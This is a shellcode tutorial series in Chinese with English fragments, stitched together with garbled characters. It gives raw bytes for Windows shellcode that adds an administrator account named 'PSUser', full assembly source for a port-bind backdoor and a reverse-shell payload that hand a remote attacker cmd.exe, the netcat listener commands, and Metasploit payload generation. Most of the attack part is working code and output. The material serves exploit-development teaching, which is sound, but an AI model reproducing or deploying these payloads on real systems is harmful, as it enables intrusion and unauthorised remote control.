????\xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00\x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72
創建 adduser-dynamic.shellcodetest.c
把adduser-dynamic.shellcodetest.c編譯成adduser-dynamic.shellcodetest.c
完成.你現在可以執行./adduser-dynamic.shellcodetest[.exe]了
玩的開心!
????Ty Miller ????www.projectshellcode.com
現在應該準備測試shellcode 測試shellcode 在運行這個程序之前我們通過以下命令列出在你本地系統上的賬戶:
????# net user ????(lists the local accounts on your system)
你現在應該可以通過測試程序執行你的shellcode”./adduser-dynamic.shellcodetest 創建的這個shellcode把一個命名為”PSUser”具有管理員權限的用戶添加到你的系統上,然后應該干凈利索地退出
????# ./adduser-dynamic.shellcodetest ????The command completed successfully. ????(adds a user account) ????The command completed successfully. ????(adds the user account to the administrators group) ????(then exists cleanly)
我們現在使用命令再次確認用戶是否已經被創建了,如下所示:
net user ????(lists the local accounts, now including "PSUser")
清理
你應該確保你已經把這個賬戶從你的系統中刪除了,以防這個賬戶不被他人使用而把你的系統黑了.使用如下命令:
net user PSUser /delete ????The command completed successfully. ????(deletes the "PSUser" account)
恭喜!
你已經創建了shellcode,它可以自動找到我們需要的Kernel32.dll和windows函數的內存地址.然后shellcode使用這些函數地址來執行函數以在本地系統上添加一個具有管理員權限的賬戶你現在可以寫出跨多種不同windows系統的可移植的shellcode了!但是學習不能只停留在這里!我們現在需要知道怎樣創建網絡連接以使一個遠程攻擊者可以在受危害的系統上執行命令.這將會在下一個教程提及
這個教程提供了關于網絡shellcode的介紹.這種shellcode示范了動態加載庫,和在那些庫中找到函數地址的方法.然后著手實現了”Port Bind”shellcode,它建立了一個用于監聽的socket使遠程攻擊者與本地命令提示符相連接.
A lot of the code was pulled and learned from the following awesome paper with some slight modifications.
大量的代碼都是從下面出色的paper中摘取出來的(帶了點略微的修改)
-?http://www.hick.org/code/skape/papers/win32-shellcode.pdf 我們的目的
The first stage of this?shellcode?will perform the same steps as the previous tutorial, where Kernel32.dll is located and functions located. In this case the following functions will be required:
這個shellcode的第一個階段將完成和前面的教程一樣的步驟,已經把Kernel32.dll和函數定位好了.在這個情況下,將會需要如下的函數
????- LoadLibraryA
????- CreateProcessA
????- ExitProcess
這個進程主要的不同是我們需要找到網絡函數,它不在Kernel32.dll中.這意味著我們需要使用LoadLibraryA加載”ws2_32.dll”,它里面包含有如下我們想調用的函數:
????- WSASocketA
????- bind
????- socket
????- accept
????- WSAStartup
需要為所有這些函數創建函數hash,這已經在之前的教程中演示了。
這些網絡函數中的每一個函數都將被用于安裝一個監聽的端口,它準備接受連接.一旦攻擊者做好了連接,它們的客戶端socket被連接到一個新的命令shell進程,這使得攻擊者可以發送遠程命令到系統中
我們需要WSAStartup和ExitProcess函數嗎?
WSAStartup函數被使用于在一個進程中初始化網絡服務.如果我們的”shellcodetest”程序沒有網絡連接那么我們需要從我們的shellcode中調用這個函數.
如果shellcode被包含在一個exploit中,它對已經初始化了網絡的進程(例如網絡瀏覽器,iis或Apache)進行exploit之后這個函數可能被忽略以讓shellcode變得更小.
同樣如果大小限制的嚴格ExitProcess函數可能也會被忽略.主進程將掛起
If either of these are taken out then you also need to update the "hash list length" within the shellcode?for ws2_32 and Kernel32, respectively. This is noted in the?shellcode?below.
如果這些函數都被除去了,那么你需要在ws2_32和Kernel32的shellcode內各自地更新”hash list length”,記住如下shellcode
The Shellcode
+--------------- Start portbind.asm --------------+
;portbind.asm
[SECTION .text]
BITS 32
global _start
_start:
????jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
????push esi
????xor eax, eax
????mov eax, [fs:eax+0x30]
????test eax, eax
????js find_kernel32_9x
find_kernel32_nt:
????mov eax, [eax + 0x0c]
????mov esi, [eax + 0x1c]
????lodsd
????mov eax, [eax + 0x8]
????jmp find_kernel32_finished
find_kernel32_9x:
????mov eax, [eax + 0x34]
????lea eax, [eax + 0x7c]
????mov eax, [eax + 0x3c]
find_kernel32_finished:
????pop esi
????ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
????pushad
????mov ebp, [esp + 0x24]
????mov eax, [ebp + 0x3c]
????mov edx, [ebp + eax + 0x78]
????add edx, ebp
????mov ecx, [edx + 0x18]
????mov ebx, [edx + 0x20]
????add ebx, ebp
find_function_loop:
????jecxz find_function_finished
????dec ecx
????mov esi, [ebx + ecx * 4]
????add esi, ebp
????
compute_hash:
????xor edi, edi
????xor eax, eax
????cld
compute_hash_again:
????lodsb
????test al, al
????jz compute_hash_finished
????ror edi, 0xd
????add edi, eax
????jmp compute_hash_again
compute_hash_finished:
find_function_compare:
????cmp edi, [esp + 0x28]
????jnz find_function_loop
????mov ebx, [edx + 0x24]
????add ebx, ebp
????mov cx, [ebx + 2 * ecx]
????mov ebx, [edx + 0x1c]
????add ebx, ebp
????mov eax, [ebx + 4 * ecx]
????add eax, ebp
????mov [esp + 0x1c], eax
find_function_finished:
????popad
????ret
????
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
????lodsd
????push eax
????push edx
????call find_function
????mov [edi], eax
????add esp, 0x08
????add edi, 0x04
????cmp esi, ecx
????jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
????ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
????
locate_kernel32_hashes:
????call locate_kernel32_hashes_return
????;LoadLibraryA
????db 0x8e
????db 0x4e
????db 0x0e
????db 0xec
????;CreateProcessA
????db 0x72
????db 0xfe
????db 0xb3
????db 0x16
????;ExitProcess
????db 0x7e
????db 0xd8
????db 0xe2
????db 0x73
;locate_ws2_32_hashes:
????;WSASocketA
????db 0xd9
????db 0x09
????db 0xf5
????db 0xad
????;bind
????db 0xa4
????db 0x1a
????db 0x70
????db 0xc7
????;socket
????db 0xa4
????db 0xad
????db 0x2e
????db 0xe9
????;accept
????db 0xe5
????db 0x49
????db 0x86
????db 0x49
????;WSAStartup
????db 0xcb
????db 0xed
????db 0xfc
????db 0x3b
;END DEFINE CONSTANTS
start_asm: ; start our main program
????sub esp, 0x08 ; allocate space on stack for function addresses
????mov ebp, esp ; set ebp as frame ptr for relative offset on stack
????call find_kernel32?;find address of Kernel32.dll
????mov edx, eax
????;resolve kernel32 symbols
????jmp short locate_kernel32_hashes ;locate address of our hashes
locate_kernel32_hashes_return: ;define return label to return to this code
????pop esi ;get constants address from stack
????lea edi, [ebp + 0x04] ;this is where we store our function addresses
????mov ecx, esi
????add ecx, 0x0C ;length of kernel32 hash list
????call resolve_symbols_for_dll
????;resolve ws2_32 symbols
add ecx, 0x14 ;length of ws2_32 hash list
????;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"
push ecx
push edx
push ebx
call [ebp + 0x04] ;call LoadLibraryA(ws2_32)
pop edx ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll
initialize_cmd: ;push the string "cmd" onto the stack
????mov eax, 0x646d6301
????sar eax, 0x08
????push eax
????mov [ebp + 0x34], esp
WSAStartup: ;initialise networking
????xor edx,edx ;make some stack space
????mov dh, 0x03 ;sizeof(WSADATA) is 0x190
????sub esp, edx???? ;initialize winsock
????push esp ;use stack for WSADATA
????push 0x02 ;wVersionRequested
????call [ebp + 20h] ;call WSAStartup
????add esp, 0x0300 ;move esp over WSAData
create_socket:
????xor eax, eax ;zero eax
????push eax ;Push the dwFlags argument to WSASocket as 0.
????push eax ;Push the g argument to WSASocket as 0.
????push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
????push eax ;Push the protocol argument to WSASocket as 0.
????inc eax ;Increment eax to 1.
????push eax ;Push the type argument to WSASocket as SOCK STREAM.
????inc eax ;Increment eax to 2.
????push eax ;Push the af argument to WSASocket as AF INET.
????call [ebp + 0x10] ;Call WSASocket to allocate a socket for later use.
????mov esi, eax ;Save the socket file descriptor in esi.
bind:
????xor eax, eax ;Zero eax for use as passing zerod arguments
????xor ebx, ebx ;Zero ebx.
????push eax ;Push zero.
????push eax ;Push zero.
????push eax ;Push the sin addr attribute of struct sockaddr in.
????mov eax, 0x5c110102 ;Set the high order bytes of eax to the port that is to be bound to and the low order bytes to AF INET.
????dec ah ;Fix the sin family attribute such that it is set appropriately.
????push eax ;Push the sin port and sin family attributes.
????mov eax, esp ;Set eax to the pointer to the initialized struct sockaddr in structure.
????mov bl, 0x10 ;Set the low order byte of ebx to 0x10 to signify the size of the structure.
????push ebx ;Push the namelen argument as 0x10.
????push eax ;Push the name argument as the pointer to the struct sockaddr in structure.
????push esi ;Push the file descriptor that was returned from WSASocket
????call [ebp + 0x14] ;Call bind to bind to the selected port.
listen:
????push ebx ;Push 0x10 for use as the backlog argument to listen.
????push esi ;Push the file descriptor that was returned from WSASocket.
????call [ebp + 0x18] ;Call listen to begin listening on the port that was just bound to.
accept:
????push ebx ;Push 0x10 onto the stack.
????mov edx, esp ;Save the pointer to 0x10 in edx.
????sub esp, ebx ;Allocate 16 bytes of stack space for use as the output addr to the accept call.
????mov ecx, esp ;Save the pointer to the output buffer in ecx.
????push edx ;Push the addrlen argument as the pointer to the 0x10 on the stack.
????push ecx ;Push text addr argument as the pointer to the output struct sockaddr in on the stack
????push esi ;Push the file descriptor that was returned by WSASocket.
????call [ebp + 0x1c] ;Call accept and wait for a client connection to arrive. The client connection will be used for the redirected output from the command interpreter.
????mov esi, eax ;Save the client file descriptor in esi.
initialize_process:
????xor ecx, ecx ;Zero ecx.
????mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
????sub esp, ecx ;Allocate stack space for the two structures.
????mov edi, esp ;Set edi to point to the STARTUPINFO structure.
????push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
????xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
????rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
????pop edi ;Restore edi to its original value.
initialize_structs:
????mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
????inc byte[edi + 0x2d] ;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
????push edi ;Preserve edi again as it will be modified by the stosd.
????mov eax, esi ;Set eax to the client file descriptor that was returned by accept
????lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
????stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
????stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
????stosd ;Set the hStdError attribute to the file descriptor returned from accept.
????pop edi ;Restore edi to its original value.
execute_process:
????xor eax, eax ;Zero eax for use with passing zerod arguments.
????lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
????push esi ;Push the pointer to the lpProcessInformation structure.
????push edi ;Push the pointer to the lpStartupInfo structure.
????push eax ;Push the lpStartupDirectory argument as NULL.
????push eax ;Push the lpEnvironment argument as NULL
????push eax ;Push the dwCreationFlags argument as 0.
????inc eax ;Increment eax to 1.
????push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
????dec eax ;Decrement eax back to zero.
????push eax ;Push the lpThreadAttributes argument as NULL.
????push eax ;Push the lpProcessAttributes argument as NULL.
????push dword [ebp + 0x34] ;Push the lpCommandLine argument as the pointer to cmd.
????push eax ;Push the lpApplicationName argument as NULL.
????call [ebp + 0x08] ;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.
exit_process:
????call [ebp + 0x0c] ;Call ExitProcess as the parent no longer needs to execute
+--------------- End portbind.asm --------------+
編譯匯編代碼
./shellcode-compiler.sh portbind.asm
你現在可以使用下面的”shellcode-compiler.sh”命令來編譯這個shellcode并自動化地創建一個用于測試的可執行程序,你應該已經下載好了在教程1中的這個腳本和任意其他必須的腳本和程序?.
把portbind.asm編譯成portbind.bin
[nasm -f bin -o portbind.bin portbind.asm]
????Converting portbind.bin to portbind.shellcode
[./xxd-shellcode.sh portbind.asm]
????\xXX\xXX\xXX\xXX\xXX...[snip]...\xXX\xXX\xXX\xXX\xXX
????Creating portbind.shellcodetest.c
????
????Compiling portbind.shellcodetest.c to portbind.shellcodetest[.exe]
[gcc -o portbind.shellcodetest portbind.shellcodetest.c]
????
????Complete. You can now execute ./portbind.shellcodetest[.exe]
????
????Enjoy,
????Ty Miller
????www.projectshellcode.com
You should now be ready to test the?shellcode.
你現在應該準備測試shellcode了
Testing the shellcode
Before we run this program, we want to show that our port 4444/TCP is not currently listening on your local system by running the following command:
在我們運行這個程序之前,我們想通過運行一下命令證實在你本地系統上4444/tcp端口不是當前正在監聽的端口
???? netstat -an | grep 4444 ????(should return nothing listening)
現在你應該可以通過test程序執行你的shellcode了”./portbind.shellcodetest”.shellcode被設計來建立一個端口是4444的監聽器,它等待一個連接然后重定向那個連接到”cmd.exe”,然后主程序將干凈利索地退出
???? ./portbind.shellcodetest ????(it should sit there waiting for a client to connect)
你現在打開二個bash終端同時不是用telnet就是用netcat來與這個端口相連接,正如下所示:
???? nc -v localhost 4444 ????Microsoft Windows XP [Version 5.1.2600] ????(C) Copyright 1985-2001 Microsoft Corp. ???? ????C:\Documents and Settings\Administrator>
如果你看到一個windows命令提示符那么你已經成功了
整理
你應該確保你已經殺掉了任意portbind進程(不是使用在cygwin中的kill程序就是使用Windows Task Manger) 恭喜!
你已經創建了加載ws2_32.dll的shellcode,在受危害的平臺上初始化網絡服務,之后安裝一個反向連接到受害者的后門監聽器,讓它重定向連接到命令提示符上.
你現在可以準備寫網絡shellcode了!下一步是創建”Connectback”shellcode(初始化一個返回到攻擊者的連接).這將會在下一個教程中提及到.
這個教程使你的shellcode可以從受害者機器中反向和攻擊者建立連接.這種shellcode和在前面的教程中綁定端口的shellcode很相似,帶著一些相對小的改變允許你的shellcode反向連接到攻擊者.攻擊者的機器這次也將使用netcat來安裝一個反向連接shellcode的監聽器以便可以獲取遠程命令提示符.
A lot of the code was pulled and learned from the following awesome paper with some slight modifications.
學習了下面不錯的paper并從中抽取了大量代碼(帶有略微修改) ????-?http://www.hick.org/code/skape/papers/win32-shellcode.pdf ????(Project Shellcode Download:http://projectshellcode.com/downloads/http___||||www.hick.org_code_skape_pap...)
Our Aim
我們的目的
這個shellcode的第一個階段將完成和前面的教程一樣的步驟,已經把Kernel32.dll和函數定位好了.這個情況下,將會需要如下的函數
????- LoadLibraryA
????- CreateProcessA
????- ExitProcess
這個進程主要的不同是我們不再需要bind socket或accept函數了,改為只使用連接網絡的函數,但是它沒有在Kernel32.dll中被定位.這意味著我們需要使用LoadLibraryA加載”ws2_32.dll”,它里面包含有如下我們想調用的函數:
????- WSASocketA
????- connect
????- WSAStartup
函數hash需要所有這些函數來創建,這在之前的教程中已經演示了
這些網絡函數被用于在進程中啟動網絡,創建一個socket之后使用它在預定義的端口4444上來與攻擊者的ip地址相連接
在發送exploit之前,攻擊者應該安裝一個在127.1.1.1端口:4444的netcat監聽器來接受反向連接.一旦通過shellcode創建了連接,它們的客戶端socket會被連接到一個新的命令shell進程上,它允許它們給系統發送遠程命令
我們需要WSAStartup和ExitProcess?(為了沒有完成之前的教程的你準備的)
WSAStartup函數被使用于在一個進程中初始化網絡服務.因為我們的”shellcodetest”程序將不能連接網絡,接著我們需要從我們的shellcode中調用這個函數。
如果在一個exploit中包含了這個shellcode,用它來exploit一個已經初始化了網絡的進程(例如 Internet Explorer,IIS或Apache)那么這個函數會被遺漏以使shellcode體積更小.
類似地,如果大小限制太嚴格,那么ExitProcess函數也會被遺漏,同時主進程將會被掛起
如果一個函數都沒有被除去,你需要在ws2_32和kernel32的shellcode內各自更新”hash list length”.需要記住以下shellcode:
Shellcode
+--------------- Start connectback.asm --------------+
;connectback.asm
[SECTION .text]
BITS 32
global _start
_start:
????jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
????push esi
????xor eax, eax
????mov eax, [fs:eax+0x30]
????test eax, eax
????js find_kernel32_9x
find_kernel32_nt:
????mov eax, [eax + 0x0c]
????mov esi, [eax + 0x1c]
????lodsd
????mov eax, [eax + 0x8]
????jmp find_kernel32_finished
find_kernel32_9x:
????mov eax, [eax + 0x34]
????lea eax, [eax + 0x7c]
????mov eax, [eax + 0x3c]
find_kernel32_finished:
????pop esi
????ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
????pushad
????mov ebp, [esp + 0x24]
????mov eax, [ebp + 0x3c]
????mov edx, [ebp + eax + 0x78]
????add edx, ebp
????mov ecx, [edx + 0x18]
????mov ebx, [edx + 0x20]
????add ebx, ebp
find_function_loop:
????jecxz find_function_finished
????dec ecx
????mov esi, [ebx + ecx * 4]
????add esi, ebp
????
compute_hash:
????xor edi, edi
????xor eax, eax
????cld
compute_hash_again:
????lodsb
????test al, al
????jz compute_hash_finished
????ror edi, 0xd
????add edi, eax
????jmp compute_hash_again
compute_hash_finished:
find_function_compare:
????cmp edi, [esp + 0x28]
????jnz find_function_loop
????mov ebx, [edx + 0x24]
????add ebx, ebp
????mov cx, [ebx + 2 * ecx]
????mov ebx, [edx + 0x1c]
????add ebx, ebp
????mov eax, [ebx + 4 * ecx]
????add eax, ebp
????mov [esp + 0x1c], eax
find_function_finished:
????popad
????ret
????
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
????lodsd
????push eax
????push edx
????call find_function
????mov [edi], eax
????add esp, 0x08
????add edi, 0x04
????cmp esi, ecx
????jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
????ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
????
locate_kernel32_hashes:
????call locate_kernel32_hashes_return
????;LoadLibraryA
????db 0x8e
????db 0x4e
????db 0x0e
????db 0xec
????;CreateProcessA
????db 0x72
????db 0xfe
????db 0xb3
????db 0x16
????;ExitProcess
????db 0x7e
????db 0xd8
????db 0xe2
????db 0x73
;locate_ws2_32_hashes:
????;WSASocketA
????db 0xd9
????db 0x09
????db 0xf5
????db 0xad
????;connect
????db 0xec
????db 0xf9
????db 0xaa
????db 0x60
????;WSAStartup
????db 0xcb
????db 0xed
????db 0xfc
????db 0x3b
;END DEFINE CONSTANTS
start_asm: ; start our main program
????sub esp, 0x68 ; allocate space on stack for function addresses
????mov ebp, esp ; set ebp as frame ptr for relative offset on stack
????call find_kernel32?;find address of Kernel32.dll
????mov edx, eax
????;resolve kernel32 symbols
????jmp short locate_kernel32_hashes ;locate address of our hashes
locate_kernel32_hashes_return: ;define return label to return to this code
????pop esi ;get constants address from stack
????lea edi, [ebp + 0x04] ;this is where we store our function addresses
????mov ecx, esi
????add ecx, 0x0C ;length of kernel32 hash list
????call resolve_symbols_for_dll
????;resolve ws2_32 symbols
add ecx, 0x0C ;length of ws2_32 hash list
????;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"
push ecx
push edx
push ebx
call [ebp + 0x04] ;call LoadLibraryA(ws2_32)
pop edx ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll
initialize_cmd: ;push the string "cmd" onto the stack
????mov eax, 0x646d6301
????sar eax, 0x08
????push eax
????mov [ebp + 0x30], esp
WSAStartup: ;initialise networking
????
????xor edx,edx ;make some stack space
????mov dh, 0x03 ;sizeof(WSADATA) is 0x190
????sub esp, edx
???? ;initialize winsock
????push esp ;use stack for WSADATA
????push 0x02 ;wVersionRequested
????call [ebp + 18h] ;call WSAStartup
????add esp, 0x0300 ;move esp over WSAData
;SECTION: start custom shellcode
create_socket: ;same as portbind
????xor eax, eax ;zero eax
????push eax ;Push the dwFlags argument to WSASocket as 0.
????push eax ;Push the g argument to WSASocket as 0.
????push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
????push eax ;Push the protocol argument to WSASocket as 0.
????inc eax ;Increment eax to 1.
????push eax ;Push the type argument to WSASocket as SOCK STREAM.
????inc eax ;Increment eax to 2.
????push eax ;Push the af argument to WSASocket as AF INET.
????call [ebp + 0x10] ;Call WSASocket to allocate a socket for later use.
????mov esi, eax ;Save the socket file descriptor in esi.
do_connect:
????push 0x0101017f ;Push the address of the remote machine to connect to in network-byte order. In this case 127.1.1.1 has been used.
????mov eax, 0x5c110102 ;Set the high order bytes of eax to the port to connect to in networkbyte order (4444). The low order bytes should be set to the family, in this case AF INET3.
????dec ah ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
????push eax ;Push the sin port and sin family attributes.
????mov ebx, esp ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
????xor eax, eax ;Zero eax.
????mov al, 0x10 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
????push eax ;Push the namelen argument which has been set to 16.
????push ebx ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
????push esi ;Push the s argument as the file descriptor that was previously returned from WSASocket.
????call [ebp + 0x14] ;Call connect to establish a TCP connection to the remote machine on the specified port.
initialize_process:
????xor ecx, ecx ;Zero ecx.
????mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
????sub esp, ecx ;Allocate stack space for the two structures.
????mov edi, esp ;Set edi to point to the STARTUPINFO structure.
????push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
????xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
????rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
????pop edi ;Restore edi to its original value.
initialize_structs:
????mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
????inc byte[edi + 0x2d] ;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
????push edi ;Preserve edi again as it will be modified by the stosd.
????mov eax, esi ;Set eax to the client file descriptor that was returned by accept
????lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
????stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
????stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
????stosd ;Set the hStdError attribute to the file descriptor returned from accept.
????pop edi ;Restore edi to its original value.
execute_process:
????xor eax, eax ;Zero eax for use with passing zerod arguments.
????lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
????push esi ;Push the pointer to the lpProcessInformation structure.
????push edi ;Push the pointer to the lpStartupInfo structure.
????push eax ;Push the lpStartupDirectory argument as NULL.
????push eax ;Push the lpEnvironment argument as NULL
????push eax ;Push the dwCreationFlags argument as 0.
????inc eax ;Increment eax to 1.
????push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
????dec eax ;Decrement eax back to zero.
????push eax ;Push the lpThreadAttributes argument as NULL.
????push eax ;Push the lpProcessAttributes argument as NULL.
????push dword [ebp + 0x30] ;Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
????push eax ;Push the lpApplicationName argument as NULL.
????call [ebp + 0x08] ;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.
exit_process:
????call [ebp + 0x0c] ;Call ExitProcess as the parent no longer needs to execute
+--------------- End connectback.asm --------------+
編譯匯編代碼
你現在可以使用如下”shellcode-compiler.sh”命令編譯這個shellcode并自動化成創建一個測試的可執行程序.你應該在教程1中已經下載好這個腳本和所有其他需要的腳本和程序了.應該得到類似于如下的輸出(取決于你手頭的shellcode-compiler.sh腳本的版本)
$ ./shellcode-compiler.sh connectback.asm
??把 connectback.asm 編譯 connectback.bin
????[nasm -f bin -o connectback.bin connectback.asm
把connectback.bin轉換成connectback.shellcode
????[./xxd-shellcode.sh connectback.asm]
????\xXX\xXX\xXX\xXX\xXX...[snip]...\xXX\xXX\xXX\xXX\xXX
創建 connectback.shellcodetest.c
???把 connectback.shellcodetest.c 編譯成 connectback.shellcodetest[.exe]
????[gcc -o connectback.shellcodetest connectback.shellcodetest.c]
????完成.你現在可以執行./connectback.shellcodetest[.exe]
玩的開心,
????Ty Miller
????www.projectshellcode.com
現在你應該準備測試shellcode
測試shellcode
在我運行這個程序前我想在127.1.1.1端口:4444/tcp上安裝一個netcat監聽器.在你的本地系統上的一個新的cygwinbashshell中運行如下命令
????nc -l -s 127.1.1.1 -p 4444 -n -v
???? listening on [127.1.1.1] 4444 ...
在你最初的cygwinbashwindows中,你現在應該可以通過測試程序執行你的shellcode了.”./connectback.shellcodetest”.shellcode被設計來連接 到我們的在127.1.1.1端口4444/tcp上的監聽器,之后重定向連接到”cmd.exe”然后主程序應該干凈利索地退出
./connectback.shellcodetest ????(it should simply exit cleanly
它應該僅僅是干凈利索地退出
在你的第二個cygwin窗口中你應該已經接收到了連接,同時也被重定向到一個windows命令提示符,這或許會花去一段時間.
???? nc -l -s 127.1.1.1 -p 4444 -n -v ???? listening on [127.1.1.1] 4444 ... ???? connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 1758 ????Microsoft Windows XP [Version 5.1.2600] ????(C) Copyright 1985-2001 Microsoft Corp. ???? ????C:\Documents and Settings\Administrator>
If you see a Windows command prompt then you have succeeded.
如果你看到了windows命令提示符那么你已經成功了
如果你還沒有成功那么我、已經發現帶有shellcode(含有網絡連接)的shellcodetest程序在Cygwin環境下看起來運行的不是很理想.最新版的
shellcode-compiler.sh腳本自動化地生成一個利用Internet Explorer 漏洞 ms07-004 模板,它包含了已經被Unicode編碼的shellcode.你可以試圖在你的系統上卸載標有KB929969的補丁,然后在Internet Explorer中加載exploit模板
進行測試
整理
你應該確保你不是在cygwin中已經使用kill程序就是使用Windows Task Manager殺掉了所有在你機器上已經安裝好的netcat監聽器.
恭喜!
你僅僅已經創建了加載ws2_32.dll的shellcode,初始化網絡,接著反向連接到一個后門監聽器上,然后被重定向連接到受危害的系統上的一個命令提示符
Metasploit是一個開源的exploit框架,它為你提供了exploits的堆,也提供了協助你創建自己exploit的工具.它可以為不同目的和平臺生成大范圍的shellcode,同時可以自定義這些shellcode來攻擊你的目標
這個教程是關于使用Metasploit Framework生成shellcode的介紹
我們的目的
開始我們將簡要地看看Metasploit提供的web接口并使用最簡單的方法用Metasploit生成shellcode.我們將使用這個接口生成如下shellcode:
????- linux/x86/adduser/bind_tcp
大多數教程集中于對Metasploit的命令行接口的介紹,因為這些將被用于以后的教程中.我們將使用命令行生成不同格式的shellcode,它們包括raw,unicode,和像一個windows那樣的可執行程序的格式
????- osx/ppc/shell_reverse_tcp
????- solaris/x86/shell_find_port
????- windows/exec
這里也將示范把Solaris的shellcode插入到一個exploit中的方法.
Metasploit的安裝過程已經添加到”shellcode教程1:介紹和工具的安裝”了.
Metasploit Web Interface (生成linux shellcode)
為了訪問Metasploit Web接口,運行如下程序將會在http://127.0.0.1:55555上開始運行”msfweb”
????- C:\msf3\msfweb.bat
這在下圖中有演示:
在工具欄的頂部點擊”Payloads”來獲取Metasploit Web接口生成shellcode的特性.現在應該在下面的屏幕中看看可以生成的有效的payloads有哪些:
我們想使用這個接口生成如下shellcode:
在搜索區內輸入”add user”(沒有引號),同時應該看到一堆可以把一個用戶賬戶添加到一個系統中的payloads.通過點擊payload標題選擇”Linux Add User”payload.
可以在如下圖中那樣配置你想讓你shellcode執行的參數,包括用于創建的用戶名,與用戶名相對應的密碼,和你想讓這個用戶使用的shell.
高級的選項包括一些你的exploit不能包含的字符,例如一個null字符因為它終止字符串且經常阻止你的exploit正常工作.編碼器的選項可以允許你對你的payloads進行編碼以使它遵從你的exploit的要求,例如在你正在exploit的系統中沒有大寫字母你需要在漏洞被利用前把payload轉化成小寫字母 最后的格式化選項允許你格式化產出使用于不同語言的shellcode.
在這個屏幕內,不同的payloads將會有不同的選項.
